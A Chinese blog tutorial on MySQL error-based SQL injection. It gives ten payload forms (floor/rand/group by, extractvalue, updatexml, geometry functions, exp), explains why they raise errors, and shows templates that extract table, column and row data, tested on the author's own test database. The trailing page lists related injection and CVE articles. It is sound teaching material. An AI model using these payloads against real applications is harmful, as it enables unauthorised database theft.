看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子

《代码审计:企业级Web代码安全架构》一书中介绍过报错注入十大方法,依次是:

1.floor()   如:select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()  如:select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()  如:select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()  如:select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()  如:select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()  如:select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()  如:select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()  如:select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()  如:select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()  如:select * from test where id=1 and exp(~(select * from(select user())a));

前三个比较常见,后面的不咋常见,大佬另说别打我

那就借助前三个举几个例子看一下

0x01 floor()报错注入

floor报错注入三件套:floor 、count、group by

我们的目的就是制造这三者的冲突来报错

例子中的   select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)a

这里粉色的x是什么?是前面concat(user(),floor(rand(0)*2))的一个别名,这样后面group by x就是group by concat(user(),floor(rand(0)*2)),让group by与floor(rand(0)*2)如命中注定一样相遇产生奇妙的反应

拿我的MySQL举个例子:我use了一个叫test的数据库,执行这么一条语句 select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));

报错,报出来一个test就是库名,1是报错机制决定拼接出来的

什么机制?

首先要知道这几个SQL语句关键字是干啥的

group by语句:用于结合合计函数,根据一个或多个列对结果集进行分组
rand()函数:用于产生一个0-1之间的随机数
floor()函数:向下取整
count()函数:返回指定列的值的数目(NULL 不计入),count(*):返回表中的记录数
floor(rand()*2):rand()*2 函数生成 0-2之间的数,使用floor()函数向下取整,得到的值就是不固定的 “0” 或 “1”
floor(rand(0)*2):rand(0)*2 函数生成 0-2之间的数,使用floor()函数向下取整,但是得到的值前6位(包括第六位)是固定的。(为:011011)

concat(database(),floor(rand(0)*2))生成由‘database()+‘0’’和‘database()+‘1’’组成的随机数列,则前六个数列一定依次是:

'database()+'0''

'database()+'1''

'database()+'1''

'database()+'0''

'database()+'1''

'database()+'1''

必须是rand(0)*2 ,别的什么rand(1)*2不行,因为产生的序列不可预测

简单来说,MySQL遇到该语句时会建立一个虚拟表,有两个字段key 与 count(*),查询数据的时候先看虚拟表中是否存在该分组,如果存在计数值加一,如果不存在新建分组。。。。。。

具体来说,感兴趣可以看一下 这篇文章 https://www.cnblogs.com/hzk001/p/12799223.html

总之想用floor报错注入成功,必须保证查的表中记录至少有3条,3条记录都没有查什么查

 

关于floor实际如何应用?

模板如下:

select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a             (这里的a还是和上文中x一样是一个别名,在查询结果的基础上再次进行查询的时候必须要有一个别名)

粉色payload处可填写常规化MySQL注入三板斧(根据上文,我们已经事先知道了数据库名字),即

(1) select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test'),floor (rand(0)*2))x from information_schema.tables group by x)a;

爆出表名叫users (自己临时搭建的环境,一切从简,见谅见谅)

(2) select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='users' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;

爆出列名a与b

啊,这种(我一共就设置了两列,考虑演示从简。实际的话,通过调整limit,自己玩去吧)

(3)select 1 from (select count(*),concat((select a from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a;

爆出数据2

粉色字体处随意更换

实际应用到SQL注入中就不举例了,没找到什么好的环境,如果有的话注意过滤和闭合

0x02 extractvalue()报错注入

extractvalue()是一个对XML文档进行查询的函数

语法   extractvalue(目标xml文档,xml路径)

其中第二个参数 “xml路径” 必须是遵循/xxxx/xxxx/xxxx这种格式的,x处是啥是几位都无所谓,只要你遵循了这个格式,即使没查到也不会报错

所以只要让第二个参数不满足条件,就会报错

extractvalue()能查询字符串的最大长度为32,如果想要的结果超过32,就需要用substring()函数截取,一次查看32位

模板就是

and extractvalue(1, payload)

加上~好看一些, 后面那个显示数据路径的,就是超长度了,截断了

0x03 updatexml()报错注入

updatexml()是更新xml文档的函数

语法 updatexml(目标xml文档,xml路径,更新的内容)

模板是and updatexml(1, payload,1)

和extractvalue()一样,也是让第二个参数“xml路径”报错,让他返回的不是xml格式的东西。同样是32位截断

爆出数据库名test

在CTF中见过连续两个SQL注入,第二个知识点考察报错注入的,当时wp用的就是updatexml报错注入,给当年我幼小的心灵造成了巨大的创伤

随便转载,请标明作者出处

SQL注入之MySQL报错注入整理的更多相关文章

  1. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  2. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  3. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  4. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  5. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  6. MySQL报错注入总结

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法. 报错注入: ...

  7. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  8. MySQL报错注入函数汇总及常用注入语句

    版权声明:本文转载自网络内容,下面附原创链接原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165 常用函数 字符串连接函数,将多个 ...

  9. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

随机推荐

  1. Adaptive AUTOSAR 学习笔记 1 - Overview

    缩写 AP: AUTOSAR Adaptive Platform CP: AUTOSAR Classic Platform AA: Adaptive Application ARA: AUTOSAR ...

  2. CVE-2017-12615 Tomcat远程代码执行

    影响版本: Apache Tomcat 7.0.0 - 7.0.81 ps:安装Tomcat需要安装jdk(JAVA环境) 下面来正经复现,Payload: 利用burpsuite 进行抓包 发送到r ...

  3. C语言:printf("")标志详解

    %d 十进制整数 %ld  十进制长整型 %hd 十进制短整型 %o 八进制整数 %X  %x  十六进制 整数 %f 以十进制形式输出 float 类型: %lf 以十进制形式输出 double 类 ...

  4. 开源桌面快速启动工具-GeekDesk

    GeekDesk 小巧.美观的桌面快速启动工具 开发框架 wpf .net 4.7.2 HandyControl 全局热键 鼠标跟随 快速启动 随时随地 支持自定义热键 支持鼠标跟随 自定义壁纸 随意 ...

  5. Python + unittest知识点回顾

    postman 安装Newman 先安装node.js,把npm添加到环境变量中. npm install newman --registry=https://registry.npm.taobao. ...

  6. 小程序框架WePY 从入门到放弃踩坑合集

    小程序框架WePY 从入门到放弃踩坑合集 一点点介绍WePY 因为小程序的语法设计略迷, 所以x1 模块化起来并不方便, 所以x2 各厂就出了不少的框架用以方便小程序的开发, 腾讯看到别人家都出了框架 ...

  7. WEB安全新玩法 [8] 阻止订单重复提交

    交易订单的重复提交虽然通常不会直接影响现金流和商品流,但依然会给网站运营方带来损害,如消耗系统资源.影响正常用户订单生成.制造恶意用户发起纠纷的机会等.倘若订单对象是虚拟商品,也有可能造成实际损失.订 ...

  8. P2015

    二叉苹果树 1 #include<iostream> 2 #include<cstdio> 3 #include<algorithm> 4 #include< ...

  9. 最大网络流dinic

    初始化flow(最大流量)为INF(极大值),建边(正向弧和反向弧) bfs寻找增广路看看有没有路,顺便进行深度标号.如果没有路直接结束输出flow. 如果有,我们按照深度dfs.dfs时注意在给正向 ...

  10. 【模拟】玩具谜题 luogu-1563

    题目描述 小南有一套可爱的玩具小人, 它们各有不同的职业. 有一天, 这些玩具小人把小南的眼镜藏了起来. 小南发现玩具小人们围成了一个圈,它们有的面朝圈内,有的面朝圈外.如下图: 这时singer告诉 ...